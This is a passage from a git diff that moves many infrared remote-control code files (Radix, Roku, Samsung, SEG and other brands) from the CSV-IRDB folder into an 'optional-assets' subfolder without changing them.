assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ReadMe.md b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ReadMe.md similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ReadMe.md rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ReadMe.md diff --git a/assets/resources/infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/TV/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/TV/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir similarity index 100% rename from 